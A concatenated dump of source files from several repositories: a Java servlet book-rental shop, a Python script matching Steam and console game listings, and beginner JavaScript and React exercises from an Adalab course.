CommonUtil { public static int toInt(String number){ try { int out=Integer.parseInt(number); return out; } catch (NumberFormatException e) { return 0; } } } <file_sep>/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package controllers; import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; /** * * @author Administrator */ public class MainController extends HttpServlet { private final String LOGIN = "LoginController"; private final String REGISTER_PAGE = "register.jsp"; private final String LOGIN_PAGE = "login.jsp"; private final String REGISTER = "RegisterController"; private final String HOME = "ShowBookController"; private final String DETAIL_BOOK = "ShowABookDetailController"; private final String LOGOUT = "LogoutController"; private final String INSERT_BOOK_PAGE = "insertBook.jsp"; private final String INSERT_BOOK = "InsertBookController"; private final String DELETE_BOOK = "DeleteBookController"; private final String UPDATE_BOOK = "UpdateBookController"; private final String UPDATE_BOOK_PAGE = "updateBook.jsp"; private final String ERROR = "login.jsp"; private static final org.apache.log4j.Logger LOGGER = org.apache.log4j.Logger.getLogger(LoginController.class); private final String ADD_TO_CART = "AddToCartController"; private final String UPDATE_CART = "UpdateCartController"; private final String DELETE_CART = "DeleteCartController"; private final String CHECKOUTCONTROLLER = "CheckOutController"; private final String CART_PAGE = "cart.jsp"; protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/html;charset=UTF-8"); String url = ERROR; try { String action = request.getParameter("btnAction"); switch (action) { case "Login": url = LOGIN; break; case "Register Page": url = REGISTER_PAGE; break; case "Register": url = REGISTER; break; case "Login Page": url = LOGIN_PAGE; break; case "Search": url = HOME; break; case "Home": url = HOME; break; case "DetailBook": url = DETAIL_BOOK; break; case "Logout": url = LOGOUT; break; case "Insert Book Page": url = INSERT_BOOK_PAGE; break; case "Insert_Book_Controller": url = INSERT_BOOK; break; case "Delete_Book": url = DELETE_BOOK; break; case "Update_Book_Page": url = UPDATE_BOOK_PAGE; break; case "Update Book": url = UPDATE_BOOK; break; case "Add To Cart": url = ADD_TO_CART; break; case "Update Cart": url = UPDATE_CART; break; case "Delete Cart": url = DELETE_CART; break; case "Checkout": url = CHECKOUTCONTROLLER; break; case "Cart Page": url = CART_PAGE; break; default: url = LOGIN; } } catch (Exception e) { LOGGER.fatal("Error at Login Controller:", e); } finally { request.getRequestDispatcher(url).forward(request, response); } } // <editor-fold defaultstate="collapsed" desc="HttpServlet methods. Click on the + sign on the left to edit the code."> /** * Handles the HTTP <code>GET</code> method. * * @param request servlet request * @param response servlet response * @throws ServletException if a servlet-specific error occurs * @throws IOException if an I/O error occurs */ @Override protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { processRequest(request, response); } /** * Handles the HTTP <code>POST</code> method. * * @param request servlet request * @param response servlet response * @throws ServletException if a servlet-specific error occurs * @throws IOException if an I/O error occurs */ @Override protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { processRequest(request, response); } /** * Returns a short description of the servlet. * * @return a String containing servlet description */ @Override public String getServletInfo() { return "Short description"; }// </editor-fold> } <file_sep>/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package dtos; import java.util.Collection; import java.util.HashMap; import java.util.Map; /** * * @author Administrator */ public class CartDTO { private Map<Integer, ItemCart> cart; public CartDTO() { cart = new HashMap<>(); } public Map<Integer, ItemCart> getCart() { return cart; } public void setCart(Map<Integer, ItemCart> cart) { this.cart = cart; } public void addToCart(ItemCart item) { if (cart.containsKey(item.getBook().getBookID())) { int oldQuantity = cart.get(item.getBook().getBookID()).getQuantity(); int newQuantity = item.getQuantity(); item.setQuantity(oldQuantity + newQuantity); } cart.put(item.getBook().getBookID(), item); } public void UpdateCart(ItemCart item) { if (cart.containsKey(item.getBook().getBookID())) { cart.put(item.getBook().getBookID(), item); } } public void UpdateCart(int bookID, int quantity) { if (cart.containsKey(bookID)) { ItemCart item = cart.get(bookID); item.setQuantity(quantity); } } public void removeFromCart(int bookID) { if (cart.containsKey(bookID)) { cart.remove(bookID); } } public float getTotalPrice() { if (cart.isEmpty()) { return 0; } float total = 0; for (ItemCart item : cart.values()) { total += item.getBook().getPrice() * item.getQuantity(); } return total; } public Collection<ItemCart> getAllItems() { return cart.values(); } public boolean getIsEmpty(){ return cart.isEmpty(); } } <file_sep>/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package dtos; /** * * @author Administrator */ public class UserDTO { private String userID; private String userName; private RoleDTO role; private String password; private boolean status; public UserDTO() { } public UserDTO(String userID, String userName, RoleDTO role, String password, boolean status) { this.userID = userID; this.userName = userName; this.role = role; this.password = <PASSWORD>; this.status = status; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } public String getUserID() { return userID; } public void setUserID(String userID) { this.userID = userID; } public String getUserName() { return userName; } public void setUserName(String userName) { this.userName = userName; } public RoleDTO getRole() { return role; } public void setRole(RoleDTO role) { this.role = role; } public boolean isStatus() { return status; } public void setStatus(boolean status) { this.status = status; } }
63c4af5cd798727d8e9cd549c053f31a198a7984
[ "Java" ]
6
Java
khaphat128/Book-Manager-For-Renting-Updated
17baac480ec8aba7a7794c02a6fbc7ee8be921e7
07559470ebfaa686f99bb9f206b94dce893b5a61
refs/heads/master
<repo_name>Jiang-YuXuan/IEFolderUpload<file_sep>/public/js/upload1.js var fs = require('fs'); var path = require('path'); //读写数据时的缓存流 var buf = new Buffer(1024); //上传文件主方法 const upload = (fromPath,toPath) => { //获取文件夹路径 let upPath = path.dirname(toPath); //判断文件夹是否存在 if (!fs.existsSync(upPath)) { //创建文件夹 console.log("创建文件夹"+upPath); fs.mkdirSync(upPath); } //复制文件 //读取文件内容于缓存buffer中 buf = fs.readFileSync(fromPath); // 仅输出读取的字节 if(buf.length > 0){ //写文件 console.log("准备写入文件"); fs.writeFileSync(toPath,buf); }else{ //停止读写(当文件为空时也不会创建) return; } } exports.upload = upload;<file_sep>/public/js/router1.js //导入的模块 var upload1 = require('./upload1'); var bodyParser = require('body-parser'); var formidable = require('formidable'); var form = new formidable.IncomingForm(); //开启多选属性 form.multiples = true; //上传路径 var uploadPath = "./public/upload/"; //路由对应函数 const route = (server) => { console.log("About to route1 a request"); // 创建 application/x-www-form-urlencoded 编码解析 server.use(bodyParser.urlencoded({ extended: false })); //设置路由 server.get("/",function(req,res){ res.render("home",{title:"Nodejs文件夹上传"}); });//get请求,主页ejs渲染 //post表单上传 server.post("/upload",function(req,res){ //处理表单 let toPath = ""; let fromPath = ""; form.parse(req,function(err, fields, files){ let fils = files.upload; for (var i = 0; i < fils.length; i++) { fromPath = fils[i].path; console.log(fromPath); toPath = uploadPath+fils[i].name; console.log(toPath); //文件上传 upload1.upload(fromPath,toPath); } }); //设置响应头 res.writeHead(200,{'Content-Type': 'text/plain;charset=utf-8'}); res.write("上传成功!");//向页面响应数据 res.end(); }); } exports.route = route;<file_sep>/README.md # FolderUpload nodejs的文件夹上传 ## 运行index1.js * 此为input file的form表单提交 * 空文件夹和空文件不会上传
bc45552b86764b0766c7510c448fdc41753e0838
[ "JavaScript", "Markdown" ]
3
JavaScript
Jiang-YuXuan/IEFolderUpload
af350588b8f712e15d470bb7122d5610b9f1979c
f33b56bec4f97af3adb1fe99e5d623cc78e4df60
refs/heads/main
<file_sep>### Hi there 👋 This is the github for my project. To receate the result from my project, follow these steps. 1. Extract gamefaq_output1.zip and info_game_relased.zip 2. run the pre_processing.py <!-- **henrywho16/henrywho16** is a ✨ _special_ ✨ repository because its `README.md` (this file) appears on your GitHub profile. <file_sep>import csv import glob, os from pathlib import Path from datetime import datetime from difflib import SequenceMatcher import hashlib steam_data = [] faq_data = [] all_company = set() def standard_time(input_string): if input_string == '': return [None,None] try: objDate = datetime.strptime(input_string, '%m/%d/%y') except ValueError: try: objDate = datetime.strptime(input_string, '%d %b, %Y') except ValueError: try: objDate = datetime.strptime(input_string, '%m/%d/%Y') except ValueError: try: objDate = datetime.strptime(input_string, '%b %d, %Y') except ValueError: objDate = datetime.strptime(input_string, '%b %Y') return [objDate,datetime.strftime(objDate,'%b %d, %Y')] ##perform preprocessing on strings. ##Remove special characters with relevance. Some character from other lanauge should be replaced with the english counterpart. ##instead of removed completely. The list is generated iteratively observation, for each iteration, change is applied to ##game names with high similarity. The result is compared between iteration. def remove_meaningless_company_version(target): target =target.lower() replace_list = ['*','.',',','-','games','game','▲','™','!','_'] target = target.replace('é','e') target = target.replace('ł','l') target = target.replace('ś','s') for i in replace_list: target = target.replace(i,' ') target_list = target.split(' ') ##based on obervation these short forms tends to have negative effect on the comparsion. list_of_target = ['digital','foundry', 'spc','ab','na','sa','bv','llc','designs','design','','gmbh', 'game','inc','ltd','ltd','games','studios','studio','software','vr','entertainment','interactive','the','productions','production','(japan)','plc','technologies','technologie'] for i in list_of_target: if i in target_list: target_list.remove(i) output = '' for i in target_list: output = output + i output = output.replace(' ','') return output def remove_meaningless(target): target = target.lower() replace_list = ['*','.',',','-','▲','™','!','_',":",'®','hd','—','the'] target = target.replace('é','e') target = target.replace('ł','l') target = target.replace('ś','s') for i in replace_list: target = target.replace(i,' ') output = target.replace(' ','') return output def remove_meaningless_s(target): replace_list = ['*','.',',','-','games','game','▲','™','!','_',"'"] target = target.replace('é','e') target = target.replace('ł','l') target = target.replace('ś','s') target = target.replace('ö','o') for i in replace_list: target = target.replace(i,' ') target_list = target.split(' ') list_of_target = ['international','sp','co','digital','foundry', 'spc','ab','na','sa','bv','llc','designs','design','','gmbh', 'game','inc','ltd','ltd','games','studios','studio','software','vr','entertainment','interactive','the','productions','production','(japan)','plc','technologies','technologie'] for i in list_of_target: if i in target_list: target_list.remove(i) output = '' for i in target_list: output = output + i output = output.replace(' ','') return output def compare_game(Steam_game_name,Steam_developer,Steam_publisher,Console_name,Console_developer,Console_publisher): score = 80* similar(Steam_game_name,Console_name) developer_publisher_score = 20 max(SequenceMatcher(Steam_developer,Console_developer),SequenceMatcher(Steam_publisher,Console_publisher)) return (score + developer_publisher_score) def checktime(list1, steam,faq): time = '' if list1[0] =='steam': for i in steam: if list1[2] ==i[1] and list1[1] == i[0]: time = i[5] break else: for i in faq: if list1[1] ==i[0] and list1[2] == i[4]: time = i[1] break return time def similar(a, b): return SequenceMatcher(None, a, b).ratio() dir1 =os.getcwd() ##find all company names between all games def get_all_company(steam_data,faq_data): all_company = set() counter = 0 for i in steam_data: if i[0] == 'appid': continue all_company.add(i[3]) all_company.add(i[4]) for i in faq_data: if i[0] =='name': continue all_company.add(i[2]) all_company.add(i[3]) all_company = list(all_company) return all_company def company_and_game(steam_data,faq_data,all_company): output = [] for i in all_company: company = i temp =[company] if company == '': continue for j in steam_data: if j[0] == 'appid': continue if company == j[3] or company == j[4]: temp.append('steam') temp.append(j[0]) temp.append(j[1]) for j in faq_data: if j[0] =='name': continue if company == j[2] or company == j[3]: temp.append('faq') temp.append(j[0]) temp.append(j[4]) output.append(temp) return output def similar1(all_company): counter = 0 output = [] for i in all_company: counter = counter + 1 company_name = i if company_name == "": continue temp_counter = 0 for j in all_company: if temp_counter == counter : continue else: temp_counter = temp_counter + 1 similar_rate = similar(company_name , j)*100 if similar_rate > 80: temp_left = i.lower() temp_right = j.lower() left = remove_meaningless_s(temp_left) right = remove_meaningless_s(temp_right) score = similar(left,right)*100 ## print(str(counter)+" : "+left +' , '+right) if score >95: output.append([i,j,score]) return output def company_and_game_final(all_company,combine): output = [] company_list = [] temp_list = [] for i in combine: company_list.append(i[0]) company_list.append(i[1]) for i in all_company: company = i[0] if company in company_list: temp_list.append(i) else: output.append(i) remove_counter = 0 for i in temp_list: company = i[0] possible_pair = [] possible_match = [] outcome = i for j in combine: pair = '' if j[0] == company : pair = j[1] elif j[1] == company: pair = j[0] if pair !='': possible_pair.append(pair) for j in possible_pair: for m in temp_list: if m[0] == j: possible_match.append(m) for j in possible_match: remove_counter = remove_counter +1 temp_list.remove(j) outcome = i +j[1:] output.append(outcome) return(output) ##find games with similar names def compare_game_names(steam_data,faq_data): possible_match = [] possible_match1 = [] counter = 0 game_name = [] game_name_handled = [] remove = [] steam_remove = [] for i in faq_data: if i[1] =='datePublished': continue game_name.append(i[0].lower()) for i in faq_data: if i[1] =='datePublished': continue game_name_handled.append(remove_meaningless(i[0])) for i in steam_data: game_name1 = i[1].lower() game_name_handled1 = remove_meaningless(game_name1) counter = counter +1 if i[0] == 'appid': continue if game_name1 in game_name or game_name_handled1 in game_name_handled: score = 0 try: place = game_name.index(game_name1)+1 except ValueError: place = game_name_handled.index(game_name_handled1)+1 j = faq_data[place] score = 100*max(similar(remove_meaningless_company_version(i[4]),remove_meaningless_company_version(j[2])), similar(remove_meaningless_company_version(i[4]),remove_meaningless_company_version(j[3])), similar(remove_meaningless_company_version(i[3]),remove_meaningless_company_version(j[3])), similar(remove_meaningless_company_version(i[3]),remove_meaningless_company_version(j[2]))) score_cross = 100 * max(similar(remove_meaningless_company_version(i[3]),remove_meaningless_company_version(j[2])),similar(remove_meaningless_company_version(i[4]),remove_meaningless_company_version(j[3]))) score_normal = 100 * max(similar(remove_meaningless_company_version(i[3]),remove_meaningless_company_version(j[3])),similar(remove_meaningless_company_version(i[4]),remove_meaningless_company_version(j[2]))) faq_time = standard_time(j[1]) steam_time = standard_time(i[5]) if steam_time[0] == None or faq_time[0]==None: continue elif steam_time[0] < faq_time[0]: remove.append(place) steam_remove.append(counter-1) if score>=80: possible_match.append([i[0],i[1],i[3],i[4],j[0],j[3],j[2],score,steam_time[1],j[4],faq_time[1]]) elif steam_time[0] > faq_time[0]: remove.append(place) steam_remove.append(counter-1) if score>=80: possible_match1.append([i[0],i[1],i[3],i[4],j[0],j[3],j[2],score,steam_time[1],j[4],faq_time[1]]) return possible_match,possible_match1 def company_side_compare(steam,faq): all_company = [] output = [] output1 = [] with open(dir1+"\\company and game+.csv",encoding='utf-8-sig', newline='') as f: reader = csv.reader(f) data = list(reader) all_company.extend(data) checker = 0 for i in all_company: checker = checker +1 company = i[0] temp_games = [] if len(i) == 4: continue for j in range(1,len(i)-2,3): if j ==0: continue temp_games.append([i[j],i[j+1],i[j+2]]) counter = 0 for j in temp_games: name = remove_meaningless(j[2]) counter = counter +1 counter1 = 0 for k in temp_games: possible_match = [] score = 0 if counter1 <counter: counter1 = counter1+1 continue if j[0] == k[0]: continue score = similar(name,remove_meaningless(k[1]))*100 if score ==100: possible_match = [company] temp = j.copy() steam_time = standard_time(checktime(temp,steam,faq)) temp.append(steam_time[1]) possible_match= possible_match +temp temp = k.copy() faq_time = standard_time(checktime(temp,steam,faq)) temp.append(faq_time[1]) possible_match= possible_match +temp possible_match.append(score) if possible_match not in output: if steam_time[0]==None or faq_time[0]==None: continue elif steam_time[0]<faq_time[0]: output.append((possible_match)) elif steam_time[0]>faq_time[0]: output1.append((possible_match)) output2 = [] for i in output1: if i not in output2: output2.append(i) return output,output2 def combine_info(company_PC,name_PC,company_CP,name_CP): game_pair_PC = [] game_pair_CP = [] for i in name_PC: game_pair_PC.append([i[1],i[2],i[3],i[0],'',i[8],i[7],i[6],i[0],'',i[4],i[9]]) for i in company_PC : if i[0] != 'appid': game_pair_PC.append(['steam',i[0],i[1],i[2],i[3],i[10],i[9],i[4],i[5],i[6],i[8],i[7]]) for i in name_CP : game_pair_CP.append([i[1],i[2],i[3],i[0],'',i[8],i[7],i[6],i[0],'',i[9],i[4]]) for i in company_CP: if i[0] != 'appid': game_pair_CP.append(['steam',i[0],i[1],i[2],i[3],i[10],i[9],i[4],i[5],i[6],i[8],i[7]]) ex = [] ##load the manal checked data with open(dir1+"\\confirm.csv",encoding='utf-8-sig', newline='') as f: reader = csv.reader(f) data = list(reader) ex.extend(data) print(len(game_pair_PC)) print(len(game_pair_CP)) game_brief= [] for i in game_pair_PC : game_brief.append([i[0],i[1],i[2],i[3],i[4],i[5],'PC->Console']) game_brief.append([i[6],'',i[7],i[8],i[9],i[10],'PC->Console']) for i in game_pair_CP : game_brief.append([i[0],i[1],i[2],i[3],i[4],i[5],'console->PC']) game_brief.append([i[6],'',i[7],i[8],i[9],i[10],'console->PC']) for i in ex: game_brief.append([i[0],i[1],i[2],i[3],i[4],i[5],'console->PC']) game_brief.append([i[6],'',i[7],i[8],i[9],i[10],'console->PC']) counter =0 remove = [] for i in game_brief: counter = counter +1 place = 0 for j in game_brief: place = place +1 if place <= counter: continue if i[0] ==j[0]: if i[2]==j[2]: if i[5]==j[5]: remove.append(place) remove_counter = 0 remove = list(set(remove)) for i in remove: game_brief.pop(i-remove_counter-1) remove_counter = remove_counter+1 return game_brief ##load extra data def extrat_detail(steam,faq,brief): console_counter = 0 steam_counter= 0 detialed = [['index','platform','steam_id','game name','developer','publisher','genres','release date','description','normalized name','normalized dev','normalized developer']] for i in brief: platform = i[0] link = i[1] game_name = i[2] dev = i[3] publisher = i[4] direction = i[6] detail_info = [] if platform == 'steam': steam_counter = steam_counter +1 index = 's'+str(steam_counter).zfill(5) for j in steam: if link == j[0] and game_name == j[1]: release = standard_time (j[5]) detail_info = [index,platform,link,game_name,j[3],j[4],j[6],release,j[7],remove_meaningless(game_name),remove_meaningless_company_version(j[3]),remove_meaningless_company_version(j[4])] detialed.append(detail_info) break else: console_counter = console_counter+1 index = 'c'+str(console_counter).zfill(5) for j in faq: if game_name == j[0] and platform ==j[4]: release = standard_time (j[1]) detail_info = [index,platform,link,game_name,j[2],j[3],j[8],release,j[9],remove_meaningless(game_name),remove_meaningless_company_version(j[2]),remove_meaningless_company_version(j[3])] detialed.append(detail_info) break output = [] temp = [] for i in detialed: if i[1] == 'steam': if i[2] not in temp: temp.append(i[2]) output.append(i) else: output.append(i) print(len(detialed)) print(len(output)) return output ##generate a list of company name and crossponding games. def find_company_pair(steam_release,faq_data): print("Find all company names") all_company = get_all_company(steam_release,faq_data) print("Find corssponding game for each company") company_and_games = company_and_game(steam_release,faq_data,all_company) print("Determine similar company names") similar_company = similar1(all_company) print("Putting everything togerther, 1 company -> crossponding games") company_and_game_final1 = [] company_and_game_final1 = company_and_game_final(company_and_games,similar_company) print("Company data processing complete") return company_and_game_final1 ##compare game name between platforms ##two methods are used to find game compare def name_compare(steam_release,faq_data): ##assume games with identical names are possible game pair. It has lower tolarance for game name difference and high tolarance for difference between developer name. pc_console , console_pc = compare_game_names(steam_release,faq_data) ##this method used a different apporach, assume 2 games developed by the same company is highly likely to be the same game. Company_game_PC, Company_game_CP = company_side_compare(steam_release,faq_data) ##putting together information from both apporaches into one list and removing duplcate game_brief = combine_info(pc_console,Company_game_PC,console_pc,Company_game_CP) ##adding detail to the generated game pairs. detailed = extrat_detail(steam_release,faq_data,game_brief) with open(os.getcwd()+"\\detialed123.csv", 'w', encoding='utf-8-sig', newline='') as csvfile: wr = csv.writer(csvfile, dialect='excel') for i in detailed: wr.writerows([i]) csvfile.close() def main(): print("Load Data") steam_release = [] faq_data = [] ##load steam game info with open(dir1+"\\info_game_released.csv",encoding='utf-8-sig', newline='') as f: reader = csv.reader(f) data = list(reader) steam_release.extend(data) ##load console game info with open(dir1+"\\gamefaq_output1.csv",encoding='utf-8-sig', newline='') as f: reader = csv.reader(f) data = list(reader) faq_data.extend(data) print("Find similar company") ##find_company_pair(steam_release,faq_data) name_compare(steam_release,faq_data) main()
cfcce6929efeff4f95a80ee8cdf0a9c3d0525e66
[ "Markdown", "Python" ]
2
Markdown
henrywho16/henrywho16
8c2485cccd059d55ee4baf0de1d5fe601c64fd6e
bb6a1f2f9a98a3880484aaf94fb25a7d45aa5c8e
refs/heads/main
<repo_name>janadim/Exercises-Adalab<file_sep>/2.9/2.9.1-2/main.js 'use strict'; let numList = []; function get100Numbers (){ for (let i = 1; i < 101; i++){ numList.push(i); } } get100Numbers(); console.log(numList); function getReversed100Numbers (){ get100Numbers() numList.reverse(); } getReversed100Numbers(); console.log(numList); <file_sep>/2.4/2.4.1/main.js "use strict"; function avg(a, b, c, d) { return (a + b + c + d)/2; } const media = avg(5, 5, 10, 10); console.log(media)<file_sep>/Loops and arrays/main.js 'use strict'; const promos = [ { promo: 'A', name: 'Ada', students: [ { id: 'id-1', name: 'Sofía', age: 20 }, { id: 'id-2', name: 'María', age: 21 }, { id: 'id-3', name: 'Lucía', age: 22 } ] }, { promo: 'B', name: 'Borg', students: [ { id: 'id-4', name: 'Julia', age: 23 }, { id: 'id-5', name: 'Tania', age: 24 }, { id: 'id-6', name: 'Alaia', age: 25 } ] }, { promo: 'C', name: 'Clarke', students: [ { id: 'id-7', name: 'Lidia', age: 26 }, { id: 'id-8', name: 'Celia', age: 27 }, { id: 'id-9', name: 'Nadia', age: 28 } ] } ]; const studentsWorkingInGoogle = ['id-2', 'id-3', 'id-5', 'id-9']; // TÚ CÓDIGO AQUÍ<file_sep>/3.4/src/components/App.js import '../stylesheets/App.css'; import MediaCard from "./MediaCard"; function App() { return ( <div className="App"> <header className="App-header"> <MediaCard /> <input type="text"></input> <p> </p> </header> </div> ); } export default App; <file_sep>/2.4/2.4.4/main.js "use strict"; function numType(a){ if (a % 2 == 0){ return true } else { return false } } const myNum = numType(3); console.log(myNum)<file_sep>/2.6/2.6.6/main.js 'use strict'; const basket = { max: 10, min: 2, act: 6, init: 4 }; basket.add = function() { return 1 + this.act; } ; console.log(basket.add()); basket.remove = function() { return this.act - 1; } ; console.log(basket.remove()); basket.restore = function() { return this.init; } ; console.log(basket.restore());<file_sep>/3.3/3.3.1/src/components/App.js import React from "react"; class App extends React.Component { render() { const students = [ { promo: "A", name: "Sofía", age: 20, }, { promo: "B", name: "María", age: 21, }, { promo: "A", name: "Lucía", age: 22, }, ]; return ( <div> <h1>Pintar listados con React:</h1> {/* con este map iteramos iteramos el array de items */} {students .filter((item) => item.promo === "A") .map((FilteredItem) => { // cada return retorna un li return ( <li> <p>Nombre: {FilteredItem.name}</p> <p>Edad: {FilteredItem.age}</p> </li> ); // el map retorna un array de li, es decir, un listado de HTML })} </div> ); } } export default App; <file_sep>/Ejercicio hook clase/src/components/AppState.js import React from "react"; let vari = 33; class App extends React.Component { constructor(props) { super(props); this.state = { nombreClase: "texto-blue", showParagraph: "", }; this.handleClickAzul = this.handleClickAzul.bind(this); this.handleClickRojo = this.handleClickRojo.bind(this); this.handleClickParagraph = this.handleClickParagraph.bind(this); } handleClickParagraph() { this.setState({ ...this.state, showParagraph: "mostrar", }); } handleClickAzul() { //this.nombreClase = "testo-blue"; this.setState({ ...this.state, nombreClase: "texto-blue", }); } handleClickRojo() { //this.nombreClase = "testo-red"; this.setState({ ...this.state, nombreClase: "texto-red", }); } render() { return ( <main> <div className={this.state.nombreClase}>Texto</div> <input onClick={this.handleCLickAzul} type="button" value="Azul" /> <input onClick={this.handleCLickRojo} type="button" value="Rojo" /> <input onClick={this.handleClickParagraph} type="button" value="Añadir parrafo" /> {this.state.showParagraph === "mostrar" ? ( <p> Lorem ipsum dolor sit amet consectetur adipisicing elit. Excepturi error iure impedit dolore fugit minus ad consectetur porro voluptates! Ullam velit doloribus repudiandae voluptate animi quidem, ut fuga quam modi? </p> ) : null} </main> ); } } export default App; <file_sep>/2.2/main.js "use strict"; // // avatar por defecto // const DEFAULT_AVATAR = 'http://placehold.it/300x300'; // // avatar que eligió el usuario al registrarse // let userAvatar = 'http://www.fillmurray.com/300/300'; // let noAvatar = "" === FEFAULT_AVATAR // document.querySelector('img').src= userAvatar || noAvatar; const firstYear = 15; const secondYear = 9; const otherYear = 5; const dogAge = 10; if (dogAge === 1) { console.log('15 años humanos') } else if (dogAge === 2) { console.log('24 años humanos') } else { console.log((firstYear+secondYear+(dogAge-2)*otherYear) + ' años humanos') }<file_sep>/2.13/main.js "use strict"; const runners = [ { name: "<NAME>", time: 56 }, { name: "<NAME>", time: 9 }, { name: "<NAME>", time: 45 }, { name: "<NAME>", time: 8 }, { name: "<NAME>", time: 35 }, ]; let record = runners[0]; for (const runner of runners) { /* if (runner.time < record.time) { record = runner; } */ record = runner.time < record.time ? runner : record; } const winner = runners.reduce( (record, runner) => (runner.time < record.time ? runner : record), runners[0] ); <file_sep>/2.4/2.4.3/main.js "use strict"; function price(a){ const iva = a*(21/100); const total = a + iva; return `Precio sin IVA: ${a} IVA: ${iva} y total: ${total};` } const precio = price(10); console.log(precio)<file_sep>/README.md # Exercises-Adalab JS exercises <file_sep>/2.11/2.11.2/main.js "use strict"; const charList = document.querySelector(".js-list"); const click = document.querySelector(".js-btn"); const text = document.querySelector(".js-text"); let chars = []; // function renderCharacters(){ // for (const character of characters){ // charList.innerHTML += `<li> ${}</li>` // } // } function getCharacter() { const character = text.value; const url = `https://swapi.dev/api/people/?search= ${character}`; // console.log(getCharacter); fetch(url) .then((response) => response.json()) .then((data) => { chars = data.results; console.log(data.results[0].name + " " + data.results[0].gender); charList.innerHTML = data.results[0].name + " " + data.results[0].gender; }); } click.addEventListener("click", getCharacter); <file_sep>/3.4/src/components/MediaCard.js import React from "react"; class MediaCard extends React.Component { constructor(props) { super(props); this.state = { styling: 'info' }; this.handleInput = this.handleInput.bind(this); } handleInput() { this.setState((prevState, props) => { let nextStyling; if (prevState.styling === 'info') { nextStyling = 'danger'; } else { nextStyling = 'info'; } return { styling: nextStyling }; }); }; render() { return ( <> <input type="text"${this.state.styling} onChange={this.handleInput} > {this.props.label} </input> <input type="text"></input> <p></p> </> ); } } export default MediaCard;<file_sep>/2.6/2.6.1/main.js const adalaber1 = { name: 'Susana', age: 34, profession: "periodista" } console.log(`Mi nombre es ${adalaber1.name}, tengo ${adalaber1.age} y soy ${adalaber1.profession}`) const adalaber2 = { name: 'Rocio', age: 25, profession: 'actriz' } console.log(`Mi nombre es ${adalaber2.name}, tengo ${adalaber2.age} y soy ${adalaber2.profession}`)<file_sep>/2.4/2.4.5/main.js "use strict"; function getEl() { const }<file_sep>/3.3/3.3.2/src/components/App.js import React from "react"; import HalfPage from "./HalfPage"; function App() { return ( <div className="App"> <HalfPage> <h1>Primera Mitad</h1> <p>Estoy en la izquierda</p> </HalfPage> <HalfPage> <h2>Segunda Mitad</h2> <p>Estoy en la derecha</p> </HalfPage> </div> ); } export default App; <file_sep>/2.9/2.9.3/main.js 'use strict'; const lostNumbers = [4, 8, 15, 16, 23, 42]; const evenLostNumbers = []; const multipleof3 = []; function bestLostNumbers(){ for(let i=0; i<lostNumbers.length; i++){ if(lostNumbers[i] % 2 ===0){ evenLostNumbers.push(lostNumbers[i]); }else if (lostNumbers[i] % 3 ===0){ multipleof3.push(lostNumbers[i]); } } const all= evenLostNumbers.concat(multipleof3); console.log(all); } bestLostNumbers(); console.log(evenLostNumbers); console.log(multipleof3); <file_sep>/2.9/2.9.4/main.js 'use strict'; const ulElement = document.querySelector('.js-task1'); const tasks = [ { name: 'Recoger setas en el campo', completed: true }, { name: 'Comprar pilas', completed: true }, { name: 'Poner una lavadora de blancos', completed: true }, { name: 'Aprender cómo se realizan las peticiones al servidor en JavaScript', completed: false } ]; function paintTasks(){ let html = ""; let className = ""; let checked = ""; for (let i = 0; i < tasks.length; i++) { let task = tasks[i]; if (task.completed === true){ className = 'crossout'; checked = 'checked'; }else{ className = ""; checked = ""; } html += `<li class = "${className}">` html += `<input class='js-checkbox' type = 'checkbox' value= "${i}" ${checked}/>`; html += `${task.name} </li>`; } ulElement.innerHTML = html; listenClick(); } function listenClick(){ const checkboxElements = document.querySelectorAll('.js-checkbox'); for (let i = 0; i < checkboxElements.length; i++) { checkboxElements[i].addEventListener('change', handleCheck) } } function handleCheck(evt){ console.log(evt.target.value); const clicked = evt.target.value tasks[clicked].completed = !tasks[clicked].completed; paintTasks() } paintTasks(); // document.getElementById("js-task1").innerHTML = tasks[i]; // <file_sep>/Ejercicio hook clase/src/components/App.js import "../stylesheets/App.css"; import React, { useState } from "react"; function App() { const [email, setEmail] = useState(""); const [city, setCity] = useState(""); return ( <div className="App"> <header className="App-header"> <input type="text" name=""></input> <p></p> </header> </div> ); } export default App; <file_sep>/Modulo 4-Backend/index.js //ejemplo const numbers = [1, 2, 3]; for (let index = 0; index < 10; index++) { const randomNumber = Math.round(Math.random() * 10); numbers.push(randomNumber); } console.log(`Los números aleatorios son`, numbers); //ejercicio 1 function add(a, b) { console.log("La suma de los numeros es:", a + b); return a + b; } add(2, 9); //ejercicio 2 <file_sep>/Arrays and loops/js/main.js "use strict"; const promos = [ { promo: "A", name: "Ada", students: [ { id: "id-1", name: "Sofía", age: 20, }, { id: "id-2", name: "María", age: 21, }, { id: "id-3", name: "Lucía", age: 22, }, ], }, { promo: "B", name: "Borg", students: [ { id: "id-4", name: "Julia", age: 23, }, { id: "id-5", name: "Tania", age: 24, }, { id: "id-6", name: "Alaia", age: 25, }, ], }, { promo: "C", name: "Clarke", students: [ { id: "id-7", name: "Lidia", age: 26, }, { id: "id-8", name: "Celia", age: 27, }, { id: "id-9", name: "Nadia", age: 28, }, ], }, ]; const studentsWorkingInGoogle = ["id-2", "id-3", "id-5", "id-9"]; // TÚ CÓDIGO AQUÍ //1 const listHTML = document.querySelector(".js-result"); const adaProm = promos[0].name; const borgProm = promos[1].name; const clarkeProm = promos[2].name; const liElement = document.querySelector(".js-prom 1"); console.log(promos[0].students[2].name); console.log(adaProm); listHTML.innerHTML = `<ul><li class="js-prom 1"> ${adaProm}</li><li class="js-prom 2"> ${borgProm}</li> <li class="js-prom 3"> ${clarkeProm}</li>`; //2 for (const promoName of promos) { const pElement = document.createElement("p"); liElement.appendChild(pElement); const textElement = document.createTextNode(promoName.promo); pElement.appendChild(textElement); }
08d48feda6886fb3febd797b7660392a6ed5f177
[ "JavaScript", "Markdown" ]
22
JavaScript
janadim/Exercises-Adalab
6ca0c93aac9a663dc57239f21ccdab1e331b7bf9
